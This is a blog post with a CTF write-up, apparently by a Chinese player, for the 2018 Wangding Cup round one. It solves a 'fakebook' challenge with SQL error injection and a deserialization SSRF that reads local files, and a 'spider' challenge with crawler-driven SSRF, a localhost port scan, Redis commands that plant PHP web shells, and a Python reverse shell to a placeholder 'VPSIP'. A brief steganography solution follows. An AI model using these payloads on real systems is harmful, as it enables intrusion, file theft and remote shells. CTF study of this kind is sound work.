N0rth3ty's Blog.

网鼎杯第一场WP

字数统计: 1.9k阅读时长: 9 min
2018/09/11 Share

网鼎第一场,题目还是蛮有意思的,fakebook最后零解了。

fakebook

上来先扫,不会错的
robots.txt 里有一个 user.php.bak
拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

get函数可以ssrf
乱翻了一下站点,发现 view.php?no=* 可以sql注入,据说sqlmap直接跑,但是我好像版本有点问题,没跑出来
可以报错注入

1
2
3
4
5
no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

1
1|qwer|d404559f602eab6fd602ac7680dacbfaadd13630335e951f097af3900e9de176b6db28512f2e000b9d04fba5133e8b1c6e8df59db3a8ab9d60be4b97cc9e81db|O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:13:"www.baidu.com";}

看到库里有这种东西
明显的一个反序列化+ssrf了(当然这句话是老大写在文档上的)
用 union select 构造读取地址,可以读到 /etc/passwd,试着去读 flag.php,getflag
最终payload

1
/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"aaaa";s:3:"age";i:66;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

都出来的东西在图片的base64中

用union select去执行ssrf,新姿势get

spider

这个题目最后零解,其实看了wp后发现很多逻辑还是说得通的
渗透测试嘛,很多地方都是猜想尝试,web本身就是偏黑盒的东西
所以仔细想想这个题目出得也不是那么烂
以下是复现

上来先扫以下,做了不少题了,确实上来先扫目录是个好习惯
发现一个get_source
这个网页会分析并输出a标签,动态的爬虫的意思原来是会加载js脚本。
所以这里是ajax读文件并写到a标签中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<a href="" id="flag">test</a>

<script type="text/javascript">

function loadXMLDoc()

{

var xmlhttp;

if (window.XMLHttpRequest)

{// code for IE7+, Firefox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest();

}

else

{// code for IE6, IE5

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

}

xmlhttp.onreadystatechange=function()

{

if (xmlhttp.readyState==4 && xmlhttp.status==200)

{

document.getElementById("flag").innerHTML=xmlhttp.responseText;

}

}

xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);

xmlhttp.send();

}

loadXMLDoc();

</script>

上传这个html后会拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time &gt; 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data

def casperjs_html(url):
cmd = 'casperjs {0} —ignore-ssl-errors=yes —url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''

@app.errorhandler(404)
def page_not_found(error):
return '404'

@app.errorhandler(500)
def internal_server_error(error):
return '500'

@app.errorhandler(403)
def unauthorized(error):
return '403'

if __name__ == '__main__':
pass

一个简单的代码审计,这里看到dbfilename,第一反应是去读这个文件,这里其实就是知识面不够广了,dbfilename是redis相关。

“构造redis cron shell失败,可能系统是ubuntu等,cron不行就尝试从web入手。”

这是别人wp中的话,涉及到redis的三种getshell姿势,我在下篇文章中做个总结。
所以这里的话就考虑web了,先探测端口。

怎么探测呢,自然还是只能走js,很多人说为什么这里就只扫默认的http端口,那这就是测试啊,从最常规的开始,常规的总得先试试吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<a id="result"></a>

<script>

var data = document.getElementById('result').innerHTML;

var TagName = document.getElementsByTagName("body")[0];

ports=[80,81,88,8000,8080,8088];

for(var i in ports){

var script = document.createElement("script");

poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"

script.setAttribute("src","http://127.0.0.1:" + ports[i]);

script.setAttribute("onload", poc);

TagName.appendChild(script);

}

</script>

可以看到开放了80和8000端口
这里也是猜测是apache2等phpserver,所以得试试吧,而且web题目中php不是很常规嘛,试一试,不行再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
level=low_273eac1c

<script>

var xmlHttp;

if(window.XMLHttpRequest){

xmlHttp = new XMLHttpRequest();

}else{

xmlHttp = newActiveXObject("Microsoft.XMLHTTP");

}

var formData = new FormData();

formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"configsetdbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");

xmlHttp.open("POST","http://127.0.0.1:6379",true);

xmlHttp.send(formData);

</script>

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。

6379是redis的默认端口。

然后再用类似第一个payload的文件去给shell发送请求读取flag.php
为什么知道flag.php呢?
谁叫你他妈上来不扫目录

(不过我还是没有复现成功

反弹shell终于是成功了,测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词,而且这里题目本身也就是python环境吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<a id="flag">pwn</ a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
xmlhttp.send();
}
loadXMLDoc();
</script>

反弹回来后终于getflag
image

Misc

minified

倒回来看题目都不难系列
image
可以看的red的0通道有问题,将其他plane 0通道(red,green,Alpha)提取并且保存,使用Stegsolve对三张图片分别做Image Combiner对比 ,最后发现Alpha plane 0和green plane 0通道进行XOR(异或) 就可以得到flag
image

CATALOG
  1. 1. fakebook
  2. 2. spider
  3. 3. Misc
    1. 3.1. minified